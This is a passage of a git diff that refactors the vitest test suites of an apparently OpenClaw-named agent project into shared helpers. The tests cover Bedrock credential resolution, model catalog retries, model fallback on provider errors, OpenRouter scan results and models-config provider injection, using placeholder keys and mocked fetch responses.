process.env.AWS_BEARER_TOKEN_BEDROCK; @@ -329,57 +338,18 @@ describe("getApiKeyForModel", () => { process.env.AWS_SECRET_ACCESS_KEY = "secret-key"; process.env.AWS_PROFILE = "profile"; - const resolved = await resolveApiKeyForProvider({ - provider: "amazon-bedrock", - store: { version: 1, profiles: {} }, - cfg: { - models: { - providers: { - "amazon-bedrock": { - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - api: "bedrock-converse-stream", - auth: "aws-sdk", - models: [], - }, - }, - }, - } as never, - }); + const resolved = await resolveBedrockProvider(); expect(resolved.mode).toBe("aws-sdk"); expect(resolved.apiKey).toBeUndefined(); expect(resolved.source).toContain("AWS_ACCESS_KEY_ID"); } finally { - if (previous.bearer === undefined) { - delete process.env.AWS_BEARER_TOKEN_BEDROCK; - } else { - process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer; - } - if (previous.access === undefined) { - delete process.env.AWS_ACCESS_KEY_ID; - } else { - process.env.AWS_ACCESS_KEY_ID = previous.access; - } - if (previous.secret === undefined) { - delete process.env.AWS_SECRET_ACCESS_KEY; - } else { - process.env.AWS_SECRET_ACCESS_KEY = previous.secret; - } - if (previous.profile === undefined) { - delete process.env.AWS_PROFILE; - } else { - process.env.AWS_PROFILE = previous.profile; - } + restoreBedrockEnv(previous); } }); it("uses Bedrock profile when access keys are missing", async () => { - const previous = { - bearer: process.env.AWS_BEARER_TOKEN_BEDROCK, - access: process.env.AWS_ACCESS_KEY_ID, - secret: process.env.AWS_SECRET_ACCESS_KEY, - profile: process.env.AWS_PROFILE, - }; + const previous = captureBedrockEnv(); try { delete process.env.AWS_BEARER_TOKEN_BEDROCK; @@ -387,47 +357,13 @@ describe("getApiKeyForModel", () => { delete process.env.AWS_SECRET_ACCESS_KEY; process.env.AWS_PROFILE = "profile"; - const resolved = await resolveApiKeyForProvider({ - provider: "amazon-bedrock", - store: { version: 1, profiles: {} }, - cfg: { - models: { - providers: { - "amazon-bedrock": { - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - api: "bedrock-converse-stream", - auth: "aws-sdk", - models: [], - }, - }, - }, - } as never, - }); + const resolved = await resolveBedrockProvider(); expect(resolved.mode).toBe("aws-sdk"); expect(resolved.apiKey).toBeUndefined(); expect(resolved.source).toContain("AWS_PROFILE"); } finally { - if (previous.bearer === undefined) { - delete process.env.AWS_BEARER_TOKEN_BEDROCK; - } else { - process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer; - } - if (previous.access === undefined) { - delete process.env.AWS_ACCESS_KEY_ID; - } else { - process.env.AWS_ACCESS_KEY_ID = previous.access; - } - if (previous.secret === undefined) { - delete process.env.AWS_SECRET_ACCESS_KEY; - } else { - process.env.AWS_SECRET_ACCESS_KEY = previous.secret; - } - if (previous.profile === undefined) { - delete process.env.AWS_PROFILE; - } else { - process.env.AWS_PROFILE = previous.profile; - } + restoreBedrockEnv(previous); } }); diff --git a/src/agents/model-catalog.e2e.test.ts b/src/agents/model-catalog.e2e.test.ts index b0702641f29..4a37e34910d 100644 --- a/src/agents/model-catalog.e2e.test.ts +++ b/src/agents/model-catalog.e2e.test.ts @@ -1,48 +1,16 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; +import { loadModelCatalog } from "./model-catalog.js"; import { - __setModelCatalogImportForTest, - loadModelCatalog, - resetModelCatalogCacheForTest, -} from "./model-catalog.js"; - -type PiSdkModule = typeof import("./pi-model-discovery.js"); - -vi.mock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }), -})); - -vi.mock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw", -})); + installModelCatalogTestHooks, + mockCatalogImportFailThenRecover, +} from "./model-catalog.test-harness.js"; describe("loadModelCatalog e2e smoke", () => { - beforeEach(() => { - resetModelCatalogCacheForTest(); - }); - - afterEach(() => { - __setModelCatalogImportForTest(); - resetModelCatalogCacheForTest(); - vi.restoreAllMocks(); - }); + installModelCatalogTestHooks(); it("recovers after an import failure on the next load", async () => { - let call = 0; - __setModelCatalogImportForTest(async () => { - call += 1; - if (call === 1) { - throw new Error("boom"); - } - return { - AuthStorage: class {}, - ModelRegistry: class { - getAll() { - return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]; - } - }, - } as unknown as PiSdkModule; - }); + mockCatalogImportFailThenRecover(); const cfg = {} as OpenClawConfig; expect(await loadModelCatalog({ config: cfg })).toEqual([]); diff --git a/src/agents/model-catalog.test-harness.ts b/src/agents/model-catalog.test-harness.ts new file mode 100644 index 00000000000..26b8bb10736 --- /dev/null +++ b/src/agents/model-catalog.test-harness.ts @@ -0,0 +1,43 @@ +import { afterEach, beforeEach, vi } from "vitest"; +import { __setModelCatalogImportForTest, resetModelCatalogCacheForTest } from "./model-catalog.js"; + +export type PiSdkModule = typeof import("./pi-model-discovery.js"); + +vi.mock("./models-config.js", () => ({ + ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }), +})); + +vi.mock("./agent-paths.js", () => ({ + resolveOpenClawAgentDir: () => "/tmp/openclaw", +})); + +export function installModelCatalogTestHooks() { + beforeEach(() => { + resetModelCatalogCacheForTest(); + }); + + afterEach(() => { + __setModelCatalogImportForTest(); + resetModelCatalogCacheForTest(); + vi.restoreAllMocks(); + }); +} + +export function mockCatalogImportFailThenRecover() { + let call = 0; + __setModelCatalogImportForTest(async () => { + call += 1; + if (call === 1) { + throw new Error("boom"); + } + return { + AuthStorage: class {}, + ModelRegistry: class { + getAll() { + return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]; + } + }, + } as unknown as PiSdkModule; + }); + return () => call; +} diff --git a/src/agents/model-catalog.test.ts b/src/agents/model-catalog.test.ts index 42ebee14917..1dfe8bc8b0d 100644 --- a/src/agents/model-catalog.test.ts +++ b/src/agents/model-catalog.test.ts @@ -1,50 +1,18 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; +import { __setModelCatalogImportForTest, loadModelCatalog } from "./model-catalog.js"; import { - __setModelCatalogImportForTest, - loadModelCatalog, - resetModelCatalogCacheForTest, -} from "./model-catalog.js"; - -type PiSdkModule = typeof import("./pi-model-discovery.js"); - -vi.mock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }), -})); - -vi.mock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw", -})); + installModelCatalogTestHooks, + mockCatalogImportFailThenRecover, + type PiSdkModule, +} from "./model-catalog.test-harness.js"; describe("loadModelCatalog", () => { - beforeEach(() => { - resetModelCatalogCacheForTest(); - }); - - afterEach(() => { - __setModelCatalogImportForTest(); - resetModelCatalogCacheForTest(); - vi.restoreAllMocks(); - }); + installModelCatalogTestHooks(); it("retries after import failure without poisoning the cache", async () => { const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); - let call = 0; - - __setModelCatalogImportForTest(async () => { - call += 1; - if (call === 1) { - throw new Error("boom"); - } - return { - AuthStorage: class {}, - ModelRegistry: class { - getAll() { - return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]; - } - }, - } as unknown as PiSdkModule; - }); + const getCallCount = mockCatalogImportFailThenRecover(); const cfg = {} as OpenClawConfig; const first = await loadModelCatalog({ config: cfg }); @@ -52,7 +20,7 @@ describe("loadModelCatalog", () => { const second = await loadModelCatalog({ config: cfg }); expect(second).toEqual([{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]); - expect(call).toBe(2); + expect(getCallCount()).toBe(2); expect(warnSpy).toHaveBeenCalledTimes(1); }); diff --git a/src/agents/model-fallback.e2e.test.ts b/src/agents/model-fallback.e2e.test.ts index f14b1c53cb7..e650d0d4705 100644 --- a/src/agents/model-fallback.e2e.test.ts +++ b/src/agents/model-fallback.e2e.test.ts @@ -23,6 +23,27 @@ function makeCfg(overrides: Partial = {}): OpenClawConfig { } as OpenClawConfig; } +async function expectFallsBackToHaiku(params: { + provider: string; + model: string; + firstError: Error; +}) { + const cfg = makeCfg(); + const run = vi.fn().mockRejectedValueOnce(params.firstError).mockResolvedValueOnce("ok"); + + const result = await runWithModelFallback({ + cfg, + provider: params.provider, + model: params.model, + run, + }); + + expect(result.result).toBe("ok"); + expect(run).toHaveBeenCalledTimes(2); + expect(run.mock.calls[1]?.[0]).toBe("anthropic"); + expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); +} + describe("runWithModelFallback", () => { it("normalizes openai gpt-5.3 codex to openai-codex before running", async () => { const cfg = makeCfg(); @@ -56,111 +77,47 @@ describe("runWithModelFallback", () => { }); it("falls back on auth errors", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce(Object.assign(new Error("nope"), { status: 401 })) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: Object.assign(new Error("nope"), { status: 401 }), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on transient HTTP 5xx errors", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce( - new Error( - "521 Web server is downCloudflare", - ), - ) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: new Error( + "521 Web server is downCloudflare", + ), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on 402 payment required", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce(Object.assign(new Error("payment required"), { status: 402 })) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: Object.assign(new Error("payment required"), { status: 402 }), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on billing errors", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce( - new Error( - "LLM request rejected: Your credit balance is too low to access the Anthropic API. Please go to Plans & Billing to upgrade or purchase credits.", - ), - ) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: new Error( + "LLM request rejected: Your credit balance is too low to access the Anthropic API. Please go to Plans & Billing to upgrade or purchase credits.", + ), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on credential validation errors", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce(new Error('No credentials found for profile "anthropic:default".')) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "anthropic", model: "claude-opus-4", - run, + firstError: new Error('No credentials found for profile "anthropic:default".'), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("skips providers when all profiles are in cooldown", async () => { @@ -408,130 +365,55 @@ describe("runWithModelFallback", () => { }); it("falls back on missing API key errors", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce(new Error("No API key found for profile openai.")) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: new Error("No API key found for profile openai."), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on lowercase credential errors", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce(new Error("no api key found for profile openai")) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: new Error("no api key found for profile openai"), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on timeout abort errors", async () => { - const cfg = makeCfg(); const timeoutCause = Object.assign(new Error("request timed out"), { name: "TimeoutError" }); - const run = vi - .fn() - .mockRejectedValueOnce( - Object.assign(new Error("aborted"), { name: "AbortError", cause: timeoutCause }), - ) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: Object.assign(new Error("aborted"), { name: "AbortError", cause: timeoutCause }), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on abort errors with timeout reasons", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce( - Object.assign(new Error("aborted"), { name: "AbortError", reason: "deadline exceeded" }), - ) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: Object.assign(new Error("aborted"), { + name: "AbortError", + reason: "deadline exceeded", + }), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back when message says aborted but error is a timeout", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce(Object.assign(new Error("request aborted"), { code: "ETIMEDOUT" })) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: Object.assign(new Error("request aborted"), { code: "ETIMEDOUT" }), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("falls back on provider abort errors with request-aborted messages", async () => { - const cfg = makeCfg(); - const run = vi - .fn() - .mockRejectedValueOnce( - Object.assign(new Error("Request was aborted"), { name: "AbortError" }), - ) - .mockResolvedValueOnce("ok"); - - const result = await runWithModelFallback({ - cfg, + await expectFallsBackToHaiku({ provider: "openai", model: "gpt-4.1-mini", - run, + firstError: Object.assign(new Error("Request was aborted"), { name: "AbortError" }), }); - - expect(result.result).toBe("ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run.mock.calls[1]?.[0]).toBe("anthropic"); - expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5"); }); it("does not fall back on user aborts", async () => { diff --git a/src/agents/model-scan.ts b/src/agents/model-scan.ts index 53c49e94cfa..3fe131d9d3d 100644 --- a/src/agents/model-scan.ts +++ b/src/agents/model-scan.ts @@ -335,6 +335,32 @@ function ensureImageInput(model: OpenAIModel): OpenAIModel { }; } +function buildOpenRouterScanResult(params: { + entry: OpenRouterModelMeta; + isFree: boolean; + tool: ProbeResult; + image: ProbeResult; +}): ModelScanResult { + const { entry, isFree } = params; + return { + id: entry.id, + name: entry.name, + provider: "openrouter", + modelRef: `openrouter/${entry.id}`, + contextLength: entry.contextLength, + maxCompletionTokens: entry.maxCompletionTokens, + supportedParametersCount: entry.supportedParametersCount, + supportsToolsMeta: entry.supportsToolsMeta, + modality: entry.modality, + inferredParamB: entry.inferredParamB, + createdAtMs: entry.createdAtMs, + pricing: entry.pricing, + isFree, + tool: params.tool, + image: params.image, + }; +} + async function mapWithConcurrency( items: T[], concurrency: number, @@ -427,23 +453,12 @@ export async function scanOpenRouterModels( async (entry) => { const isFree = isFreeOpenRouterModel(entry); if (!probe) { - return { - id: entry.id, - name: entry.name, - provider: "openrouter", - modelRef: `openrouter/${entry.id}`, - contextLength: entry.contextLength, - maxCompletionTokens: entry.maxCompletionTokens, - supportedParametersCount: entry.supportedParametersCount, - supportsToolsMeta: entry.supportsToolsMeta, - modality: entry.modality, - inferredParamB: entry.inferredParamB, - createdAtMs: entry.createdAtMs, - pricing: entry.pricing, + return buildOpenRouterScanResult({ + entry, isFree, tool: { ok: false, latencyMs: null, skipped: true }, image: { ok: false, latencyMs: null, skipped: true }, - } satisfies ModelScanResult; + }); } const model: OpenAIModel = { @@ -461,23 +476,12 @@ export async function scanOpenRouterModels( ? await probeImage(ensureImageInput(model), apiKey, timeoutMs) : { ok: false, latencyMs: null, skipped: true }; - return { - id: entry.id, - name: entry.name, - provider: "openrouter", - modelRef: `openrouter/${entry.id}`, - contextLength: entry.contextLength, - maxCompletionTokens: entry.maxCompletionTokens, - supportedParametersCount: entry.supportedParametersCount, - supportsToolsMeta: entry.supportsToolsMeta, - modality: entry.modality, - inferredParamB: entry.inferredParamB, - createdAtMs: entry.createdAtMs, - pricing: entry.pricing, + return buildOpenRouterScanResult({ + entry, isFree, tool: toolResult, image: imageResult, - } satisfies ModelScanResult; + }); }, { onProgress: (completed, total) => diff --git a/src/agents/models-config.e2e-harness.ts b/src/agents/models-config.e2e-harness.ts index 34138816fc2..eb6e8cfe38d 100644 --- a/src/agents/models-config.e2e-harness.ts +++ b/src/agents/models-config.e2e-harness.ts @@ -1,4 +1,4 @@ -import { afterEach, beforeEach } from "vitest"; +import { afterEach, beforeEach, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; @@ -48,6 +48,28 @@ export function unsetEnv(vars: string[]) { } } +export const COPILOT_TOKEN_ENV_VARS = ["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]; + +export async function withUnsetCopilotTokenEnv(fn: () => Promise): Promise { + return withTempEnv(COPILOT_TOKEN_ENV_VARS, async () => { + unsetEnv(COPILOT_TOKEN_ENV_VARS); + return fn(); + }); +} + +export function mockCopilotTokenExchangeSuccess() { + const fetchMock = vi.fn().mockResolvedValue({ + ok: true, + status: 200, + json: async () => ({ + token: "copilot-token;proxy-ep=proxy.copilot.example", + expires_at: Math.floor(Date.now() / 1000) + 3600, + }), + }); + globalThis.fetch = fetchMock as unknown as typeof fetch; + return fetchMock; +} + export const MODELS_CONFIG_IMPLICIT_ENV_VARS = [ "CLOUDFLARE_AI_GATEWAY_API_KEY", "COPILOT_GITHUB_TOKEN", diff --git a/src/agents/models-config.falls-back-default-baseurl-token-exchange-fails.e2e.test.ts b/src/agents/models-config.falls-back-default-baseurl-token-exchange-fails.e2e.test.ts index 8458f492f18..a7b123de178 100644 --- a/src/agents/models-config.falls-back-default-baseurl-token-exchange-fails.e2e.test.ts +++ b/src/agents/models-config.falls-back-default-baseurl-token-exchange-fails.e2e.test.ts @@ -5,6 +5,8 @@ import { DEFAULT_COPILOT_API_BASE_URL } from "../providers/github-copilot-token. import { captureEnv } from "../test-utils/env.js"; import { installModelsConfigTestHooks, + mockCopilotTokenExchangeSuccess, + withUnsetCopilotTokenEnv, withModelsTempHome as withTempHome, } from "./models-config.e2e-harness.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; @@ -41,22 +43,8 @@ describe("models-config", () => { it("uses agentDir override auth profiles for copilot injection", async () => { await withTempHome(async (home) => { - const envSnapshot = captureEnv(["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]); - delete process.env.COPILOT_GITHUB_TOKEN; - delete process.env.GH_TOKEN; - delete process.env.GITHUB_TOKEN; - - const fetchMock = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ - token: "copilot-token;proxy-ep=proxy.copilot.example", - expires_at: Math.floor(Date.now() / 1000) + 3600, - }), - }); - globalThis.fetch = fetchMock as unknown as typeof fetch; - - try { + await withUnsetCopilotTokenEnv(async () => { + mockCopilotTokenExchangeSuccess(); const agentDir = path.join(home, "agent-override"); await fs.mkdir(agentDir, { recursive: true }); await fs.writeFile( @@ -85,9 +73,7 @@ describe("models-config", () => { }; expect(parsed.providers["github-copilot"]?.baseUrl).toBe("https://api.copilot.example"); - } finally { - envSnapshot.restore(); - } + }); }); }); }); diff --git a/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.e2e.test.ts b/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.e2e.test.ts index 26b3bb500ad..2d1e591ccc8 100644 --- a/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.e2e.test.ts +++ b/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.e2e.test.ts @@ -1,50 +1,14 @@ import fs from "node:fs/promises"; import path from "node:path"; -import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; - -async function withTempHome(fn: (home: string) => Promise): Promise { - return withTempHomeBase(fn, { prefix: "openclaw-models-" }); -} - -const _MODELS_CONFIG: OpenClawConfig = { - models: { - providers: { - "custom-proxy": { - baseUrl: "http://localhost:4000/v1", - apiKey: "TEST_KEY", - api: "openai-completions", - models: [ - { - id: "llama-3.1-8b", - name: "Llama 3.1 8B (Proxy)", - api: "openai-completions", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 32000, - }, - ], - }, - }, - }, -}; +import { installModelsConfigTestHooks, withModelsTempHome } from "./models-config.e2e-harness.js"; describe("models-config", () => { - let previousHome: string | undefined; - - beforeEach(() => { - previousHome = process.env.HOME; - }); - - afterEach(() => { - process.env.HOME = previousHome; - }); + installModelsConfigTestHooks(); it("normalizes gemini 3 ids to preview for google providers", async () => { - await withTempHome(async () => { + await withModelsTempHome(async () => { const { ensureOpenClawModelsJson } = await import("./models-config.js"); const { resolveOpenClawAgentDir } = await import("./agent-paths.js"); diff --git a/src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts b/src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts index e93817bf6e8..8b3a057d27e 100644 --- a/src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts +++ b/src/agents/models-config.skips-writing-models-json-no-env-token.e2e.test.ts @@ -14,6 +14,44 @@ import { ensureOpenClawModelsJson } from "./models-config.js"; installModelsConfigTestHooks(); +type ProviderConfig = { + baseUrl?: string; + apiKey?: string; + models?: Array<{ id: string }>; +}; + +async function runEnvProviderCase(params: { + envVar: "MINIMAX_API_KEY" | "SYNTHETIC_API_KEY"; + envValue: string; + providerKey: "minimax" | "synthetic"; + expectedBaseUrl: string; + expectedApiKeyRef: string; + expectedModelIds: string[]; +}) { + const previousValue = process.env[params.envVar]; + process.env[params.envVar] = params.envValue; + try { + await ensureOpenClawModelsJson({}); + + const modelPath = path.join(resolveOpenClawAgentDir(), "models.json"); + const raw = await fs.readFile(modelPath, "utf8"); + const parsed = JSON.parse(raw) as { providers: Record }; + const provider = parsed.providers[params.providerKey]; + expect(provider?.baseUrl).toBe(params.expectedBaseUrl); + expect(provider?.apiKey).toBe(params.expectedApiKeyRef); + const ids = provider?.models?.map((model) => model.id) ?? []; + for (const expectedId of params.expectedModelIds) { + expect(ids).toContain(expectedId); + } + } finally { + if (previousValue === undefined) { + delete process.env[params.envVar]; + } else { + process.env[params.envVar] = previousValue; + } + } +} + describe("models-config", () => { it("skips writing models.json when no env token or profile exists", async () => { await withTempHome(async (home) => { @@ -54,68 +92,27 @@ describe("models-config", () => { it("adds minimax provider when MINIMAX_API_KEY is set", async () => { await withTempHome(async () => { - const prevKey = process.env.MINIMAX_API_KEY; - process.env.MINIMAX_API_KEY = "sk-minimax-test"; - try { - await ensureOpenClawModelsJson({}); - - const modelPath = path.join(resolveOpenClawAgentDir(), "models.json"); - const raw = await fs.readFile(modelPath, "utf8"); - const parsed = JSON.parse(raw) as { - providers: Record< - string, - { - baseUrl?: string; - apiKey?: string; - models?: Array<{ id: string }>; - } - >; - }; - expect(parsed.providers.minimax?.baseUrl).toBe("https://api.minimax.io/anthropic"); - expect(parsed.providers.minimax?.apiKey).toBe("MINIMAX_API_KEY"); - const ids = parsed.providers.minimax?.models?.map((model) => model.id); - expect(ids).toContain("MiniMax-M2.1"); - expect(ids).toContain("MiniMax-VL-01"); - } finally { - if (prevKey === undefined) { - delete process.env.MINIMAX_API_KEY; - } else { - process.env.MINIMAX_API_KEY = prevKey; - } - } + await runEnvProviderCase({ + envVar: "MINIMAX_API_KEY", + envValue: "sk-minimax-test", + providerKey: "minimax", + expectedBaseUrl: "https://api.minimax.io/anthropic", + expectedApiKeyRef: "MINIMAX_API_KEY", + expectedModelIds: ["MiniMax-M2.1", "MiniMax-VL-01"], + }); }); }); it("adds synthetic provider when SYNTHETIC_API_KEY is set", async () => { await withTempHome(async () => { - const prevKey = process.env.SYNTHETIC_API_KEY; - process.env.SYNTHETIC_API_KEY = "sk-synthetic-test"; - try { - await ensureOpenClawModelsJson({}); - - const modelPath = path.join(resolveOpenClawAgentDir(), "models.json"); - const raw = await fs.readFile(modelPath, "utf8"); - const parsed = JSON.parse(raw) as { - providers: Record< - string, - { - baseUrl?: string; - apiKey?: string; - models?: Array<{ id: string }>; - } - >; - }; - expect(parsed.providers.synthetic?.baseUrl).toBe("https://api.synthetic.new/anthropic"); - expect(parsed.providers.synthetic?.apiKey).toBe("SYNTHETIC_API_KEY"); - const ids = parsed.providers.synthetic?.models?.map((model) => model.id); - expect(ids).toContain("hf:MiniMaxAI/MiniMax-M2.1"); - } finally { - if (prevKey === undefined) { - delete process.env.SYNTHETIC_API_KEY; - } else { - process.env.SYNTHETIC_API_KEY = prevKey; - } - } + await runEnvProviderCase({ + envVar: "SYNTHETIC_API_KEY", + envValue: "sk-synthetic-test", + providerKey: "synthetic", + expectedBaseUrl: "https://api.synthetic.new/anthropic", + expectedApiKeyRef: "SYNTHETIC_API_KEY", + expectedModelIds: ["hf:MiniMaxAI/MiniMax-M2.1"], + }); }); }); }); diff --git a/src/agents/models-config.uses-first-github-copilot-profile-env-tokens.e2e.test.ts b/src/agents/models-config.uses-first-github-copilot-profile-env-tokens.e2e.test.ts index 92b5d19dddf..ff55eb8e697 100644 --- a/src/agents/models-config.uses-first-github-copilot-profile-env-tokens.e2e.test.ts +++ b/src/agents/models-config.uses-first-github-copilot-profile-env-tokens.e2e.test.ts @@ -5,6 +5,8 @@ import { captureEnv } from "../test-utils/env.js"; import { resolveOpenClawAgentDir } from "./agent-paths.js"; import { installModelsConfigTestHooks, + mockCopilotTokenExchangeSuccess, + withUnsetCopilotTokenEnv, withModelsTempHome as withTempHome, } from "./models-config.e2e-harness.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; @@ -14,22 +16,8 @@ installModelsConfigTestHooks({ restoreFetch: true }); describe("models-config", () => { it("uses the first github-copilot profile when env tokens are missing", async () => { await withTempHome(async (home) => { - const envSnapshot = captureEnv(["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]); - delete process.env.COPILOT_GITHUB_TOKEN; - delete process.env.GH_TOKEN; - delete process.env.GITHUB_TOKEN; - - const fetchMock = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ - token: "copilot-token;proxy-ep=proxy.copilot.example", - expires_at: Math.floor(Date.now() / 1000) + 3600, - }), - }); - globalThis.fetch = fetchMock as unknown as typeof fetch; - - try { + await withUnsetCopilotTokenEnv(async () => { + const fetchMock = mockCopilotTokenExchangeSuccess(); const agentDir = path.join(home, "agent-profiles"); await fs.mkdir(agentDir, { recursive: true }); await fs.writeFile( @@ -59,9 +47,7 @@ describe("models-config", () => { const [, opts] = fetchMock.mock.calls[0] as [string, { headers?: Record }]; expect(opts?.headers?.Authorization).toBe("Bearer alpha-token"); - } finally { - envSnapshot.restore(); - } + }); }); }); diff --git a/src/agents/models.profiles.live.test.ts b/src/agents/models.profiles.live.test.ts index f721559ab4b..45024be491c 100644 --- a/src/agents/models.profiles.live.test.ts +++ b/src/agents/models.profiles.live.test.ts @@ -21,7 +21,7 @@ const REQUIRE_PROFILE_KEYS = isTruthyEnvValue(process.env.OPENCLAW_LIVE_REQUIRE_ const describeLive = LIVE ? describe : describe.skip; -function parseProviderFilter(raw?: string): Set | null { +function parseCsvFilter(raw?: string): Set | null { const trimmed = raw?.trim(); if (!trimmed || trimmed === "all") { return null; @@ -33,16 +33,12 @@ function parseProviderFilter(raw?: string): Set | null { return ids.length ? new Set(ids) : null; } +function parseProviderFilter(raw?: string): Set | null { + return parseCsvFilter(raw); +} + function parseModelFilter(raw?: string): Set | null { - const 